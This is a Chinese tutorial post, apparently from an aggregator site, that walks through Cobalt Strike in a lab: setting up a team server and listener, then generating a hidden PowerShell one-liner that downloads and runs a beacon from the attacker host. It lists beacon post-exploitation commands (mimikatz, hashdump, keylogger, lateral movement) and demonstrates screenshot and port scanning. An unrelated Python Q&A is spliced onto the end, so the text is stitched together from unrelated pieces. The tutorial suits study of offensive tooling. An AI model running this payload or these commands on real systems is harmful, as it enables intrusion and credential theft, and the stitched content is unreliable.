148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]
Posted qwsn
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]相关的知识,希望对你有一定的参考价值。
我认为:无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Cobalt Strike基本使用
1、Cobalt Strike简介
(1)官方主页:https://www.cobaltstrike.com/
(2)Cobalt Strike:是一款基于C/S架构(客户端/服务器)的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗、内网渗透等等。
(3)Cobalt Strike功能:是一款基于GUI(图形用户界面)的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows的exe木马生成、Windows的dll木马生成、java木马生成、office宏病毒生成、木马捆绑、钓鱼攻击等等(钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等)。
2、Cobalt Strike(CS)整体框架图
客户端 Client | 服务器 Team Server | 攻击目标 Target_x |
---|---|---|
攻击者团队成员使用的图形化界面 | 可以设置监听器(端口监听)、生成payload攻击载荷(会在服务器设置的监听端口上提供攻击代码下载)、Team Server 日志记录保存在logs文件夹、支持团队协同操作等等 | 靶机通过Team Server提供的payload攻击载荷下载攻击代码 |
二、Cobalt Strike简单使用
1、实验坏境
Client | Team Server | Target_x |
---|---|---|
攻击者团队成员1:Windows7(安装了jre8的java开发跨平台) | 团队服务器:Kali Linux | 靶机1:Windows Server 2008 |
IP:192.168.97.130/24 | IP:192.168.97.129/24 | IP:192.168.97.131/24 |
2、实验过程
(1)如何在Kali Linux上创建Team Server团队服务器?
创建团队服务器语法:./teamserver <host> <password>
host是当前团队服务器的IP地址
password是分配给攻击者团队成员的密码
//如下图所示:成功的在Kali Linux开启了Team Server团队服务器,IP地址是本地的IP,密码是自定义的,成功后显示50050端口开启,该端口对应的就是团队服务器的服务。
(2)如何让本地和攻击者团队成员连接到Team Server团队服务器?
Linux本地连接方式:./cobaltstrike
//如下图所示:我们在团队服务器上进行本地连接,Host填写团队服务器IP,Port填写团队服务器的默认端口50050,User自定义,密码是刚刚设置的123456
Windows攻击者团队成员连接方式:双击cobaltstrike.bat
//如下图所示:主机填写Team Server团队服务器的IP地址,端口默认是50050,用户名自定义,密码是团队服务器开启时候给分配的123456。
(3)如何让靶机目标连接上Team Server团队服务器?
第一步:团队服务器上设置listener监听器
//如下图所示:我们设置名为beacon_http_1监听器,开启监听9999端口
第二步:团队服务器生成payload攻击载荷
//如下图所示:我们一般点击Attacks选项卡,然后选择Web Drive-by,最后点击Scripted Web Delivery脚本web传递,其中url它是个文件路径,Host是Team Server的IP,端口是Web服务的端口,powershell是攻击代码类型,其作用就是让目标(靶机)通过这个地址和80端口下载恶意脚本powershell。
//如下图所示:是生成的payload攻击载荷
//特别注意:该payload攻击载荷要保存下来
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
第三步:目标靶机运行payload攻击载荷
靶机运行:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
//如下图所示:这份代码是powershell下运行的,会加载到内存执行。
(4)如何判断靶机以上线?
//如下图所示:我们通过视图和日志,可以看到靶机192.168.97.131已上线
(5)测试功能:屏幕截图和端口扫描
第一步:右键视图下的靶机,点击进入beacon
第二步:进入beacon后,输入help命令,查看具体的使用方法
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
第三步:进行屏幕截图(执行速度较快)
beacon> screenshot
//如下图所示,截图的内容保存到了Team Server下的logs日志目录下
第四步:进行端口扫描(执行速度较慢)
beacon> portscan 192.168.97.131 1-1024,3389 arp 1024
//arp后面的1024是扫描线程
//扫描结果如下图所示:
if语句被忽略[重复]
【中文标题】if语句被忽略[重复]【英文标题】:the if stament it's ignored [duplicate] 【发布时间】:2020-03-05 20:13:05 【问题描述】:我是初学者,我的功能不起作用。我没有我错过的内容:
def string_length(stri):
if stri == int:
print(" not a string")
else:
print(len(stri), stri)
stri = str(input("please write a string: "))
string_length(stri)
在少数情况下,如果我写一个整数,if 语句将被忽略。
【问题讨论】:
并不是它被忽略了。就是你认为它在做什么和它实际上在做什么是非常不同的。 stri == int 是 not 你如何检查某事物是否是 an int。 您的“if”测试特定对象是否等于整数类型。这在这里没有意义。你想要“isinstance”。 另外,请注意,如果您从用户那里接受输入,则输入始终是字符串。 “3”和3是不同的。一个是字符串。 【参考方案1】:def is_number(stri):
try:
float(stri)
return True
except ValueError:
pass
def string_length(stri):
if is_number(stri) == True:
print(" not a string")
else:
print(len(stri), stri)
stri = input("please write a string: ")
is_number(stri)
string_length(stri)
它对你不起作用,因为数字可以是字符串的形式,例如“6”而不是 6。所以任何时候你输入一个数字,它都会是一个字符串,所以会忽略 if。 is_number() 函数检查字符串是否可以表示为浮点数,如果可以,则返回值“True”。
【讨论】:
以上是关于148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]的主要内容,如果未能解决你的问题,请参考以下文章
150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]
152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]